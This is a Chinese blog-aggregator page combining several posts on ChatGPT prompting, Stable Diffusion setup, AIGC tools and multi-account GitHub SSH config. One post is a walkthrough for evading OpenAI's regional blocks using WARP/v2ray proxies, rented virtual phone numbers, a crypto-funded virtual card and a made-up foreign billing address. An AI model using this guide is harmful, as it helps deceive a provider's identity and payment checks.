在上篇文章的结尾，我提到了ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，但是不知道用什么把土堆起来，但在有了这把铲子之后，铲土只是铲子最直白的利用，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。
其实从ChatGPT诞生至今，所有从事相关研究的朋友都在努力的在ChatGPT上探索各种各样的使用方式，甚至现在已经诞生了所谓的prompt工程师。
这篇文章就聊聊很多现在已有的关于ChatGPT使用的技巧。
4A & 4W
首先ChatGPT在自然语言的理解上虽然有着领先时代的表现，但事实上ChatGPT并不是你的蛔虫，你试图通过简单的问题获得准确的回答是不可能的，也不现实。
这里我也用一下，在讲述这个问题时最常用的“如何减肥”的例子。如果你只是简单的问，那么chatgpt的回答就会模糊而概括。
随着大家的探索，逐渐诞生了两种常用的扮演法指令模式，也就是4A & 4W。
- 4A: Actor(角色) - Aim(目标) - Ask(提要求) - Addition(补充)
4A模型是Prompt中比较典型的例子，晚上大部分流行的提问方式都是这个结构，还是拿减肥举例子，这一次我提供了我的身高和体重，并且给他赋予了角色定位。
相比之前更简单的提问，ChatGPT给了更具体的回应以及更详细的范例，但实际上在这个范例中，虽然内容详细但事实上没有太具体的计划。
在这个基础上，又有人提出了4W模型。
- 4W: What(我的情况是) - Will(我想) - Who(你是谁) - Want(我要你)
我们把前面的问题换个问法
这一次ChatGPT反馈的最大变化就是他会根据我的内容进行发散，进而进一步的反馈详细的内容和反馈。
事实上ChatGPT对于问题的回答并不是一定的，相比4A模型，4W模型的反馈质量更高反馈也比较直白，在GPT4版本之后发散度也更高，也是现在比较主流的扮演提问法。
但事实上，4W的基础提问法只是比较通用的问法，但在扮演法可以有更详细的提问方式。比如我们先问问有没有专业的健身教练。
根据他的反馈，我们直接找其中一个人，让ChatGPT扮演这个人来提供建议。
在这种情况下，ChatGPT有可能，注意是有可能，会生成带有强烈的个人风格的反馈内容。而这部分内容一般来说有效度会更高，因为他很有可能是基于已有的内容生成的。但这并不绝对，因为ChatGPT还没有真正意义上联网。不过使用这种更详细的扮演法在某些情况下会让你的结果更有效。
Openai 的官方最佳实践
这里我们也一起看一看openai公开的prompt最佳实践，里面其实也是提到了一些我们熟知的，这里我提取几个比较关键的点。
1、把指令放在Prompt的开头，并且用###或者”””来分割指令和上下文。
1
2
3
4
5
6
7
8
9我需要把下面这段代码压缩到一行
###
var cookieStr = 'ppmsglist_action_3907326541=card';
var cookieArr = cookieStr.split('; ');
for (var i = 0; i < cookieArr.length; i++) {
var cookie = cookieArr[i];
var arr = cookie.split('=');
document.cookie = arr[0] + '=' + arr[1];
}2、对希望得到的内容的背景、结果、长度、格式、风格尽可能的详细
3、通过示例阐述所需的输出格式
其实也很好理解，你可以用一些范例来表达你想要的内容，来帮助chatgpt矫正结果。
4、先不提供范例，再尝试给出范例，然后根据返回微调。
5、减少不精确的描述。
比起“我想要一段短小的内容”，最好直接指明内容的长度，比如“我想要一段100字左右的内容”
6、与其说什么不该做，不如说什么该做。
7、在想要生成代码的时候，使用引导词让模型向特定的模式发展。
在openai的范例中，他用import作为python的引导词，用select作为sql的引导词。
Prompt Engineering
其实相比简单的提问式回答，现在的Prompt相关的内容已经相当成熟了，比如github上现在有很多类似的项目，整理了大量的经典Prompt场景
甚至已经有相当成熟的网站分享相关的信息https://www.explainthis.io/zh-hant/chatgpt
除了这种简单的指令分享，甚至还有更牛逼的直接把这个东西直接包装成产品，直接辅助你去写各种prompt。
额外参数
除了简单的对话技巧以及各种方案，ChatGPT还提供了不少的额外参数以影响返回的结果，其中我挑部分我觉得比较有意思的参数
temperature
temperature这个参数官方给出的解释是，衡量模型输出不太准确信息的频率，temperature越高，输出越随机，并更具有创造性。但相比官方的解释，我们甚至可以把temperature理解为情感值或者温度值。
temperature默认是0.8，最高为2。通常来说，在询问具有创造力的结果时，可以让temperature提高，来获得更有意思的结果。在询问某些事实或者准确的内容时，可以降低temperature来获得更准确的结果。你可以在调用api的时候设置这个参数来控制它。
这是temperature为0.2时返回的结果。
当temperature为2的时候，chatgpt就有点儿傻，返回的非准确内容中会大量的随机各种结果。
当temperature为1的时候，chatgpt相对比较平衡
presence_penalty
presence_penalty也是一个比较常见的参数，我们可以把这个参数认为是话题新鲜度，也可以认为是话题拓展的可能性。这个值越大，chatgpt在对话中也会越主动的发起新的分支。
这个值默认是0，可以从-2到2之间。
我自己尝试了一下感觉这个参数的表现其实比较弱，一般的问题回复其实是感受不到的。
frequency_penalty
frequency_penalty整体上和presence_penalty类似，主要是控制总体使用频率较高的单词和短语概率，这个值越高，chatgpt中就会尽量减少重复。
这个值默认是0，可以从-2到2之间。
max_tokens
标志返回的token长度的硬截止限制，这个token之前也说过其实标志是的是单词或者短语，这个计算方式相当宽泛，所以一般设置max_tokens就是为了保底，避免某些特殊的问题导致超长的回复浪费api的资源。
stop
一个特殊标记，可以在文本生成过程中暂停文本的生成。
写在最后
掌握了ChatGPT简单问答式的用法，就相当于我们已经学会了用铲子铲土。
而在ChatGPT基础上做进一步的探索相当有趣，下篇文章就讲讲怎么用铲子盖房子。
- 博客 小明明s à domicile 2023-04-26 11:47:08
前言
今天介绍 Textual Inversion，中文名字是文本反转，在之前的版本里面这个功能叫做 Embedding，也就是文本嵌入。通俗的讲其实就是把提示词打包成为一个提示词。如果你想要稳定的实现某个特定的角色、画风或者动作，通常会输入很多提示词去限定特征，这个是非常有门槛也很考验经验的。Textual Inversion 就是解决这个问题的。
使用别人发布的 Textual Inversion
在 C 站你可以搜到很多已经打包好的 Textual Inversion，打开它的右侧筛选窗口，点击
Model types里面的Textual Inversion，这样页面显示的都是打包好的:
例如你想要快速的创建一个《星期三》里面的女主 Addams 风格的图片，其实只需要下载https://civitai.com/models/4115/jenna-ortega-wednesday-addams-embedding这个 Embedding 包 (只有 30.92kb)，然后存放到本地的 embeddings 目录下:
mkdir ~/workspace/stable-diffusion-webui/embeddings # 这个目录可能不存在，需要创建一下 mv ~/Downloads/W3DDDN3SD4Y.pt ~/workspace/stable-diffusion-webui/embeddings接着，点击网页右侧「Generate」按钮下面的「show/hide extra networks」按钮会显示一些额外选项，然后点击「Refresh」，在第一个 Tab「Textual Inversion」里面就可以看到这个新的 Embedding 包了，之后就可以直接用
W3DDDN3SD4Y作为一个提示词，而不用把那些都输入进来，非常方便。自定义 Textual Inversion
图做多了你会习惯性的使用一些提示词，因为他们会让图的质量变的更好，例如
photography, masterpiece, best quality, 8K, HDR等等，那么这正好利用本文的 Textual Inversion 创建一些给自己用，例如我，创建了一个名字叫做 dongwm 的正面，还有一个叫做 dongwm-nt 的负面的。怎么创建呢，点开页面的「Train」这个 Tab，下面菜单栏第一项就是「Create embedding」，然后输入 Embedding 的名字和相关的提示文本即可，下面是我的正面提示词文本 dongwm 的内容:
点击「Create embedding」按钮就会保存，如果未来你想修改替换它，可以重新准备提示词，然后勾选「Overwrite Old Embedding」再保存。
现在可以在 Tab「Textual Inversion」看到三个 Embedding 包了:
另外可以通过图片过滤，且模型里面会列出相关用户上传的优质图片。图片页面有相关的提示词文本、使用的模型以及采样数据等参数，可以帮助还不熟悉 Stable Diffusion 的用户快速上手:
PS:
Browing mode选择Everything有惊喜，请做好心理建设哟~在线使用 Stable Diffusion
如果你只是想要试玩一下，最简单的方法就是在线访问 Stable Diffusion 官方网站https://beta.dreamstudio.ai/，可以免费产生约一百张图，之后需付少许费用。
其实还有一些其他在线服务，但都是阉割版 (例如不支持模型选择，不支持插件等等），无法体现 Stable Diffusion 的真实能力，就不推荐了，大家认准官方就好了。
本地部署 Stable Diffusion
这个我主推的方式，也是玩 Stable Diffusion 最有意思的地方。目前最主流的方法就是使用 https://github.com/AUTOMATIC1111/stable-diffusion-webui 这个项目，本地运行一个 Python 的 Web UI。
首先要明确 AI 绘画需要进行大量的图像处理和计算，所以对于电脑是有硬件要求的:
本地运行需要需要足够大的显存 (独立显卡的内存)，最低配置 10GB 显存，越大越好。 内存也不能太小，最好大于 16GB。显存大小决定了你能生成的图片尺寸，一般而言图片尺寸越大，SD 能发挥的地方越多，画面里填充的细节就越多。 通常都是用通过 GPU 来跑 SD，因为 GPU 会加速计算。但用 CPU 跑也是可以的，但是速度会非常慢：例如一张显卡 30 秒就能算好的图，CPU 要算 10 分钟。
我的电脑是 Macbook M1 架构，所以参照的官方 wiki 文档 Installation on Apple Silicon 配置即可，简单看了下启动脚本，即便不是 Python 开发者我认为也可以顺滑的完成启动过程。接下来是我配置的过程:
首先下载相关依赖和 stable-diffusion-webui:
➜ brew install cmake protobuf rust python@3.10 git wget ➜ cd ~/workspace ➜ git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui目前只是代码克隆下来，还没有任何可用模型，此时可以从文档提到的 Hugging Face 或者 C 站 Civitai.com 下载模型。
模型格式一般是.ckpt 或者.safetensors 作为文件扩展名。格式的区别是:
.ckpt: 包含 Python 代码的压缩文件，对于 Python 语言的程序来说很通用方便，缺点是文件很大，一般 2-8G。.safetensors: 只包含生成所需的数据，不包含代码，一般只有几十到几百 M，加载文件也更安全和快速。我一般从 C 站下载，找了一个例子:https://civitai.com/models/25995/blindbox
注意，这是一个 Lora 模型 (右侧信息中的 Type 是 LORA)，所以和文档说的放在
models/Stable-diffusion目录不同，应该放在models/Lora。mv ~/Downloads/blindbox_V1Mix.safetensors ~/workspace/stable-diffusion-webui/models/Lora
然后拉到页面下面，我找到了一个生成的效果图https://civitai.com/images/421118?period=AllTime&sort=Most+Reactions&modelVersionId=32988&modelId=25995&postId=128086
可以看到生成这个图时候用的各个参数，注意其中的 Model 叫做`revAnimated_v11・，本地也没有需要下载，可以先搜一下就找到了:https://civitai.com/models/7371/rev-animated
可以看到右侧的 Type 说明它是一个 CHECKPOINT 的类型，下载并把它放在
models/Stable-diffusion目录:mv ~/Downloads/revAnimated_v122.safetensors ~/workspace/stable-diffusion-webui/models/Stable-diffusion
这里提一下
Checkpoint这个模型类型，按我的理解它表示存档点，就是可以使用开源的 Stable-diffusion 不同版本的某个点作为模型使用。另外这个模型子类型叫做Checkpoint Merge，也就是它是将多个模型混合在一起，而且合并后不同的模型占了不一样的比例的权重。然后启动 webUI:
cd stable-diffusion-webui ./webui.sh第一次启动会下载相关依赖，比较慢，下载完成就会看到启动提示:
... Running on local URL: http://127.0.0.1:7860打开浏览器，访问这个地址就可以看到 Web 页面了。SD 目前支持文生图和图生图 2 个模式，这篇文章先体验文生图，图生图因为需要很多额外的知识我们过段时间铺垫完了再专门写。
文本转图片 (txt2img)
这是 SD 最基础的功能，将文本提示转换为图像。还是用上面提到的 blindbox 的例子，就用它的各种参数，唯一要提的是「Batch size」选了 8，，就是一次性生成 8 张图 (事实是 9 张，另外一张是全部图的缩略图)，然后点右侧的「Generate」，就会开始生成了，大概 10 来分钟 (如果单张图约 1 分钟):
生成的效果非常好。先介绍下各个参数项和用途:
- 左侧最上面「Stable Diffusion checkpoint」是个下拉框，可以选择您想要的模型。有很多已经训练好的模型可供选择，如果你有自己特别的需求，也可以训练自己的模型。
- 左侧有 2 个文本输入框，上面宽的那个输入正向提示词 (prompt) 文本，表示你希望这个图符合什么要求，下面窄的输入反向提示词 (Negative Prompt) 文本，表示这个图不希望符合什么要求。提示词可以是英文短句或单词，以逗号进行分隔，它们类似标签 (tag) 列表。
- Sampling Method 用于去噪，平衡生成图的速度和质量。内置多种算法可供选择。目前看起来 DPM++ 2M Karras 用的比较多。
- Sampling Steps 是去噪过程的采样步骤数。越多越好，但需要更长的时间。一般在 20-28 之间。
- 宽度和高度 (Width/Height)，输出图像的大小。按需调整即可。
- Batch Count 批次数量，我更愿意用下面的 Batch size 调整生产图的总数。
- Batch size，每一批次要生成的图像数量。可以在测试提示时多生成一些，因为每个生成的图像都会有所不同。生成的图像总数等于 Batch Count 乘以 Batch size。
- CFG (Classifier Free Guidance) scale，提示词相关性， 用于控制模型应在多大程度上遵从您的提示。他有几个只可选: 1 (大多忽略你的提示)，3 (更有创意)，7 (遵循提示和自由之间的良好平衡)，15 (更加遵守提示)，30 (严格按照提示操作)，常用的是 7，做个平衡。测试时可以换这个值体验区别。
- Seed，生成的每个图像都有自己的种子值，修改这个值可以控制图像的内容。
- Script。用户可以编写脚本代码，以实现一些特殊定制的功能。这个未来可以具体说，目前还没有遇到。
在生成的过程中会感受到图片从模糊到清晰的过程。如果你特别细心，可以看到正向 prompt 里面比原图多了一个
<lora:blindbox_V1Mix:1>，这个其实是指定了 Lora 模型后添加的，选择 Lora 模型的方法是点开「Genrate」按钮下面中间那个按钮「show/hide extra network」，最右一个 Tab 就是 Lora: - 博客 小明明s à domicile 2023-04-25 22:04:00
前言
AIGC 相关的内容最近非常热，所以我也来蹭个热度。这篇是这个话题的第一篇，先介绍一下 AIGC 和相关的创作工具。
AIGC
AIGC 全文叫做「AI Gererative Content」，这是继专业生产内容（PGC, Professional-generated Content）、用户生产内容（UGC, User-generated Content）之后的新型内容创作方式。
AIGC 进入大众视野里程碑的一件事是去年 9 月初，下面这幅使用 MidJourney 生成的数字油画《空间歌剧院》:
在美国科罗拉多州博览会 (Colorado State Fair) 的艺术比赛中夺得了第一名，之后大赛评委并未对该幅作品进行改判，并认为即使它是 AI 生成的作品，也依旧配得上这样的成绩，这一新闻被报道后引发了圈内外的广泛讨论。
再之后，一个 B 站 UP 主使用 Midjourney，根据歌词含义生成的图片制作了万能青年旅店的作品《 杀死那个石家庄人 》火出了圈，接着很多 UP 主发布了类似的「但是每一句歌词都由 AI 作画」主题的作品，例如《Young And Beautiful》、《孤勇者》、《七里香》等。我也是从这个阶段开始关注到这个领域，当然那时候的理解还停留在 AI 绘画（txt2img，也就是输入文字，计算机会把它翻译成图像）这个小方向，其实现在再看，生成的内容的领域是非常广泛的。
通过 AIGC 这种创作方式，可以让我这种毫无绘画基础的非职业用户也可以创作出非常满意的作品。
AIGC 的主要创作工具
接着我根据时间线列出我认为非常重要的一些创作工具。
DALL-E
2021 年 1 月，OpenAI 推出了 DALL－E 模型，通过 120 亿参数版本的 GPT-3 Transformer 模型来理解自然语言输入并生成相应的图片。但是它的推出主要用于研究，所以访问权限仅限于小部分测试版用户。这个模型不稳定对于细节理解处理不完善，且会出现严重的逻辑或者事实错误，但是作为开创者，还是得专门提出来的。
在发布 DALL-E 时还发布了 CLIP （Contrastive Language-Image Pre-training，对比图文预训练）。CLIP 是一种神经网络，为输入的图像返回最佳的标题。它所做的事情与 DALL-E 所做的相反 —— 它是将图像转换为文本，而 DALL-E 是将文本转换为图像。引入 CLIP 的目的是为了学习物体的视觉和文字表示之间的联系。
Disco Diffusion
Disco Diffusion 是 21 年 10 月开始开源的一个基于 diffusion+CLIP 的深度学习模型，输入文本便能生成图像画面。这个工具通常运行在 Google Colab 平台上，无需本地配置，所以对电脑配置不做要求，在浏览器里面运行即可。
下面是主创是艺术家兼设计师 Somnai 在项目开源时发布的效果图:
在实际使用中，它对于景色、主体以及画风方面的内容效果还是不错的，但是人物效果比较差。在 Somnai 加入到 MidJourney 后，这个项目就停止了更新。
DALL-E 2
2022 年 4 月，OpenAI 发布了新版本的 DALL-E 2 ，它是 DALL-E 的升级版本，另外能对所生成的图像进行二次编辑，现在即使是新用户也需要充值才能生成新图，我没有体验，只是通过官方 Ins 账号展示的动态侧面了解，不过目前现在还可以通过 Bing 体验:https://www.bing.com/create/
感受它生成的画作相对下面说的 2 种比较单一且简单。
MidJourney
MidJourney 的 v1 是 2022 年 2 月发布的，它火出圈是由于 22 年 7 月份的 v3 版本。
它的特点是综合能力比较全面，艺术性很强，非常像艺术家制作的作品，另外图像生成速度更快，早期主要是很多艺术家会借助 Midjourney 作为创作灵感。另外，因为 Midjourney 搭载在 Discord 频道上，所以有非常良好的社区讨论环境和用户基础。
第二次火其实就是今年 3 月份发布 V5, 官方说这个版本在生成图像的人物真实程度、手指细节等方面都有了显著改善，并且在提示词理解的准确性、审美多样性和语言理解方面也都取得了进步。
现在新用户已经不再可以免费生成图片了，需要订阅。就不演示了，我有一下两个经验:
- 如果你不了解怎么输入正确有价值的提示词，可以从类似延伸阅读链接 5 这样的网址去生成 prompt，类似网站很多
- 如果想成为 MidJourney 高手，你需要学会很多技巧，可以网上搜各种相关的文章和视频，例如延伸阅读链接 9 和 10 (当然官方文档也是要看的)
Stable Diffusion
2022 年 8 月，Stable Diffusion 开源，
Stable Diffusion 算法上基于 2021 年 12 月提出的潜在扩散模型（LDM / Latent Diffusion Model）和 2015 年提出的扩散模型（DM / Diffusion Model，它是基于 Google 的 Transformer 模型），所以名字里有 Diffusion，我猜 Stable 表示现在算法已经稳定下来了。
有必要先说一下这个项目让人疑惑的点，它是开源的，如果你自己研究过，可以从 Github 上找到三个同名的项目:
- https://github.com/CompVis/stable-diffusion
- https://github.com/runwayml/stable-diffusion
- https://github.com/Stability-AI/stablediffusion
首先是慕尼黑大学机器视觉学习组 CompVis 写了这个论文，AI 视频剪辑技术创业公司 Runway 提供专业知识帮助实现了第一个版本，初创公司 StabilityAI 投钱，最终由 Stable Diffusion 推向主流市场 (其实现在已经是 Version 2 了)。所以现在只需要关注第三个项目就可以了。
SD 会在运行时将成像过程分离成 “扩散（diffusion）” 的过程 —— 从有噪声的情况开始，根据 CLIP 对图像和文本之间相关性打分，逐渐改善图像，直到完全没有噪声，这样就逐步接近所提供的文本描述。具体的原理可以看延伸阅读链接 8.
SD 可以在短短几秒钟内生成清晰度高，还原度佳、风格选择很广的图片，它最大的突破是任何人都能免费下载并使用其开源代码，不需要像 MidJourney 和 DALL-E 那样把它作为云服务付费用。
Stable Diffusion XL
目前 SD 最让使用者苦恼的 2 个缺点:
- 需要输入非常长的提示词 (prompts)
- 对于人体结构的处理有瑕疵，经常出现动作和人体结构异常
2023 年 4 月，Stability AI 发布了 Beta 版本的 Stable Diffusion XL ，并提到在训练结束后参数稳定后会开源，并改善了上述的 2 个缺点。
MidJourney 和 Stable Diffusion 的对比
首先要说明的是 AI 绘图是有高度的随机性和风格化的，即便你有比较准确的提示词也许换个 seed 可以让结果反转，其实不好直接对比。我这里只是在侧面来对比:
- 价格。MidJourney 毕竟是为了盈利的，远不如自己部署到自己服务器的开销要低。SD 完胜
- 友好程度。MidJourney 新手友好，注册即用，相对的 SD 需要有一定技术背景，甚至可以说设计师或者艺术创作者自己不具备部署能力。SD 小胜
- 功能。SD 除了支持 MidJourney 全部功能外还支持填充修复、自定义模型。SD 小胜
- 对细节的控制。类似于苹果 (MidJourney) 和安卓 (SD) 的区别，MidJourney 是商业产品，你无法了解它的背后的原理和代码逻辑，所以可控性差、细节优化难 (甚至越调越差)，而 SD 由于是开源的且有强大的社区和相关...
- 博客 MiaoTony's Blog 2023-04-25 21:15:00770
- 博客 二丫讲梵 2023-04-25 06:29:05如要阅读全文，点击标题跳转。本文介绍如何在Mac上配置jdk与maven环境。
- 博客 二丫讲梵 2023-04-25 06:23:54如要阅读全文，点击标题跳转。解决一个brew install时出现的错误。
- 博客 二丫讲梵 2023-04-24 04:38:22如要阅读全文，点击标题跳转。从 2017 年 10 月到 2022 年 4 月我在杭州度过了四年半的时光，除去两份工作经历之外，还做过这样三件值得一记的小事儿。
- 博客 二丫讲梵 2023-04-22 03:32:14如要阅读全文，点击标题跳转。学习周刊-总第103期-一款安卓系统上的 rss 阅读软件
- 博客 forecho 的独立博客 2023-04-17 13:33:00
引言
如果你在公司也试用 Github 托管代码的话，你可能会遇到一个问题，本地同时使用你的个人账号和公司账号。
那么本篇文章就为你分享如何在本地同时使用多个 Github 账号。
SSH 配置
生成工作需要的 ssh
这里默认你已经有了个人的 ssh 密钥，如果没有的话，你需要先生成个人的 ssh 密钥。
1ssh-keygen -t rsa -b 4096 -C "forecho@work.com" -f ~/.ssh/work配置 host
1vim ~/.ssh/config1 2 3 4 5 6 7 8 9 10 11Host * ServerAliveInterval 60 #default github Host github.com HostName github.com IdentityFile ~/.ssh/id_rsa Host w.github.com HostName github.com IdentityFile ~/.ssh/work使用
如果要使用 work 密钥，则这样 clone 代码
1git clone git@w.github.com:work/xxx.git配置 Git User 问题
先取消全局 可选操作
1 2git config --global --unset user.name git config --global --unset user.email配制个人 SSH
1vim ~/.gitconfig1 2 3 4 5 6[user] name = forecho email = echo@forecho.com [includeIf "gitdir:~/work/"] path = ~/work/.gitconfig工作目录单独设置
1vim ~/work/.gitconfig1 2 3[user] name = work email = forecho@work.com检查
1git config --list - 博客 LoRexxar's Blog 2023-04-14 18:40:31
在2023年年初，ChatGPT像一颗流星一样突然出现在大家的面前，围绕ChatGPT的探索也以各种各样的方式出现在大家的面前。
相比基于ChatGPT的探索，openai的平台和国内的对抗反倒在潜移默化的升级，我没有了解过openai到底有什么样的背景导致一直执着于国内使用者的封禁，这篇文章就先讲讲我在这个过程的所有探索以及相应的解决方案吧。
IP限制
这个东西是在使用ChatGPT过程中遇到的最大的问题，而且其中的相应策略极其复杂，这里只列举我撞到的策略和绕过方案。
通过代理解决
首先来源IP这块就不用多说了，你正常直接去访问openai.com都会撞到GFW的拦截，当然作为技术从业者有自己的科学手段自然不用多说了，但如果说GFW是你入门的门槛的话，那chatgpt使用的方案可以说是釜底抽薪。国内百分之90的科学手段大抵上都是利用国外的服务器来实现的，而且除开使用机场的朋友以外，大部分都是使用比较有名的各种云服务器，chatgpt搞得第一个门槛就是，封禁了大部分的云服务器ip以及网段。
- vultr，godaddy
- aws，oricle，linode
- 阿里云、腾讯云
这就直接导致了一个问题，就是在ip层面你就需要想办法绕过。
根据我的了解，其实大部分人都使用了比较冷门的云服务商或者比较冷门的机场来解决，这样比较一劳永逸，而我选择了用另一个方案就是v2ray+cf wrap，这里我就不详细解释具体是怎么回事了，大概是用了CF推出的一个相对比较真实的ip来做代理，很多朋友会用这个方案来绕过Netflix的限制。具体可以参考这个链接来实现。
https://github.com/willoong9559/XrayWarp
配置warp
1、参考CF的文档来安装warp
https://developers.cloudflare.com/warp-client/get-started/linux/
2、注册客户端
1
warp-cli register
3、设置WARP代理模式
1
warp-cli set-mode proxy
4、连接WARP
1
warp-cli connect
此时WARP会使用socks5本机代理127.0.0.1：40000
5、打开warp always-on
1
warp-cli enable-always-on
6、测试socks代理，理检查ip是否改变
1
2export ALL_PROXY=socks5://127.0.0.1:40000
curl ifconfig.me7、修改V2ray的配置
- 为inbounds启动sniffing
1
2
3
4"sniffing": {
"enabled": true,
"destOverride": ["http", "tls"]
}- 为outbounds中加入socks_out相关的配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32"outbounds": [
{
"tag": "default",
"protocol": "freedom"
},
{
"tag":"socks_out",
"protocol": "socks",
"settings": {
"servers": [
{
"address": "127.0.0.1",
"port": 40000
}
]
}
}
],
"routing": {
"rules": [
{
"type": "field",
"outboundTag": "socks_out",
"domain": ["geosite:netflix"]
},
{
"type": "field",
"outboundTag": "default",
"network": "udp,tcp"
}
]
}- 下面的routing配置当中，我们可以把需要过warp的域名配置进去，因为warp相对慢很多，所以其他域最好不要过warp。
1
2
3
4
5
6
7
8{
"type": "field",
"outboundTag": "socks_out",
"domain": [
"geosite:netflix",
"openai.com",
]
},- 重新启动v2ray/xray
1
2systemctl restart v2ray
systemctl status v2ray如果要应用geosite的域名列表，则需要下载geosite和geoip包放到/usr/local/bin中。
如果想要测试有没有效果，可以通过添加ipip的域名并访问ipip查看是不是服务器对应的ip。
其他方案以及问题
当配置完warp其实正常的服务器就可以正常使用了，如果你刚好有没有被封的账号，那你现在已经可以正常使用了。
但如果你的账号以某种方式被封了，到这里你还是没办法使用。（有趣的是，这种封禁并不是永久的，他会以某种方式被解封）
而更糟糕的问题是，如果你试图注册一个新的账号，那么很大概率会提示，相同的ip下注册请求过多。
关于这个问题其实我没有找到特别完美的方案来解决，网上在这一步使用的方案大多是使用一个冷门的服务器上直接在windows服务器上远程操作实现又或者是让别人来注册。
通过API来解决
其实在openai的设定中有个很有意思的设定，就是chatgpt平台和API平台是分开的。
首先大家比较常说的chatgpt其实是在线的一个平台，也就是我们见的最多的对话平台。
这个平台的限制最严格，账号最容易被封，但优势是在这个网页我们可以获得一手的使用体验，如果升级plus还可以优先使用chatgpt后续的最新更新。
但事实上大部分朋友其实是不需要这些东西的，我们可以通过chatgpt的api配合一些第三方开发的平台来实现。
而ChatGPT的API我们可以在openai的platform上看到
这个平台其实对国内用户的封禁是没那么严格的，而且刚注册的账号是可以在前3个月使用免费的18刀额度，所以很多人其实是选择用这个接口来使用的
如果你把免费的额度使用完之后，你可能会遇到无法付费的问题，具体可以看后面。
在openai的platform后台可以新建一个API keys
配合一些现在做的很不错的二次开发平台，能体验到比原版chatgpt更实用的感受。有一个比较好用的ChatGPT Next Web
https://github.com/Yidadaa/ChatGPT-Next-Web
ChatGPT Next Web提供了一个基于vercel实现的方案，可以允许做一个私有化的平台，并利用web pages功能+绑定自定义域名部署在网上，这个方案相当实用，同样也不依赖科学上网。
账号邮箱封禁
在初版的ChatGPT注册的时候其实是没有这个限制的，所以大部分朋友估计都没有遇到过这个问题，我最早的账号直接就是Gmail注册的也没遇到类似的问题，但是在最近chatgpt封禁了大部分我们能用到的邮箱。
- QQ邮箱,foxmail邮箱
- 163邮箱，网易邮箱，126邮箱，新浪邮箱
- Outlook、hotmail邮箱
- edu.cn邮箱
- Gmail，只能快捷登录
正常来说的话，其实我们国内能用得到的大部分邮箱里只有gmail可以正常使用了，但是gmail的注册最近也有一些问题这里就先不聊。
如果你的账号是因为邮箱被封禁，会在注册的时候出现类似的提示。
其实比较实用的方案还是用自己的域名，绑定自定义域名应该可以绕过这个问题。但是要搞一个企业邮箱，这里先不提了。
手机号封禁
在解决了邮箱的问题之后，你遇到的第二个问题就是手机号封禁，在注册openai的账号的同时你需要一个国外的手机号接受短信，一般来说SMS Active是比较实用的一个网站，国内可以直接用visa卡来支付，收费也不贵以后也用得到.
这个网站租用的虚拟手机号是专门用来注册各种各样的网站的，其中就有openai，我们可以直接选openai
然后选择对应的国家点击购买就会获得一个随机的手机号，复制手机号到openai对应激活接受短信即可。由于这个平台大家使用的还是比较多的，所以可以用稍微冷门一点儿的国家手机号有效度比较高，如果激活失败可以多尝试几个手机。
使用相关的问题
当你搞定所有的问题之后，你可能会遇到一些使用上的问题，这里我写两个最常见的问题。
首先大家比较常说的chatgpt其实是在线的一个平台
在这个平台里可以选择不同的model比如GPT4，每个session都是独立的，会保存一定程度的上下文，但同样有很多的限制，其中最常见的就是GPT-4，3小时只能发送25条消息。
而ChatGPT plus也是针对这个页面的收费服务，ChatGPT本身是免费的，但如果你订阅ChatGPT plus会有很多额外的权益，其中最实用的就是更快的响应速度和新功能优先使用。
但其中容易被忽略的问题是，ChatGPT plus看上去并不便宜，需要20刀每个月，但其实并不提升API，plus只是单纯针对Chat网页的优化，而更关键的是，由于ChatGPT在后续的更新中加入了CF做防护，现在基本上已经没办法通过通过第三方来模拟ChatGPT了，大部分都是使用官方提供的API接口。
而API的收费方式是根据tokens计算的，你可以简单的把tokens认为是单词片段。
而ChatGPT的API我们可以在openai的platform上看到
这个平台其实对国内用户的封禁是没那么严格的，而且刚注册的账号是可以在前3个月使用免费的18刀额度，所以很多人其实是选择用这个接口来使用的
如果你解决不了chat界面的封禁，可以尝试直接使用api来使用，也是个不错的方案。
当你把免费额度使用完之后，你会遇到一个新的问题，就是如何支付？
如何支付？
其实除开服务器的ip限制，最麻烦的问题就是这个，其实大部分的国外网站都是可以使用visa卡直接支付的，很多银行都有全球卡，但麻烦的是，openai似乎对这方面做了一定的限制，你无法使用国内银行卡来支付，你会遇到一个类似这样的提示。
我在研究了很多方案以后，得到了一个最简单的方案，就是depay，这个东西其实最近也挺流行的，depay使用usdt作为标准代币可以申请虚拟信用卡，而且depay的信用卡相当实用，申请的虚拟卡甚至可以绑定微信和支付宝，可以用来把国外的赏金转回来。但比较麻烦的是，depay必须使用udst充值，这方面我就不科普了，可以用各大平台APP来c2c交易。感兴趣的话可以用我的邀请链接注册。
https://depay.depay.one/web-app/register-h5?invitCode=689747&lang=zh-cn
搞定虚拟信用卡之后可以直接在后台绑定卡，要注意depay必须提前充值余额进去才能使用。
要注意下面的账单地址最好找个国外的地址，否则可能会触发一些限制，比较简单的方案是直接在google map上搜一个地址贴上去。
基本上找个差不多的地址都ok。正常添加完就可以使用了，注意可以加入一点儿使用限制，避免超额
如何使用？
其实在你接触到ChatGPT之前，你可能会接受到无限的关于ChatGPT的吹捧。但当你真正使用ChatGPT的时候，你可能玩的很开心，但确想不到这个东西究竟有啥用，因为他又不能用来查询资料，也不能凭空做工作。当你冷静下来可能会觉得ChatGPT更像是个玩具。
但ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，但是不知道用什么把土堆起来，但在有了这把铲子之后，铲土只是铲子最直白的利用，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。
关于具体的使用方案，在这篇入门篇先不提，下篇再见。
- 博客 二丫讲梵 2023-04-14 04:28:33如要阅读全文，点击标题跳转。学习周刊-总第102期-一个暴漏github action变量的开源项目
- 博客 我爱自然语言处理 2023-04-11 18:30:15内容来源：ChatGPT 及大模型专题研讨会 分享嘉宾：中国科学院自动化研究所研究员 张家俊 分享主题：《Ch […]
- 博客 晚晴幽草轩 2023-04-10 20:20:00
素问智聊斋，非官方 ChatGPT 在线客户端，旨在提供更便捷的 ChatGPT 访问体验；它基于非官方 ChatGPT API 、 Svelte 、 TailwindCSS 、 Vite 和 NodeJS 所搭建，无需账号，零配置，即可与 ChatGPT 畅聊；支持自定义 OPENAI API KEY。
目标与哲学
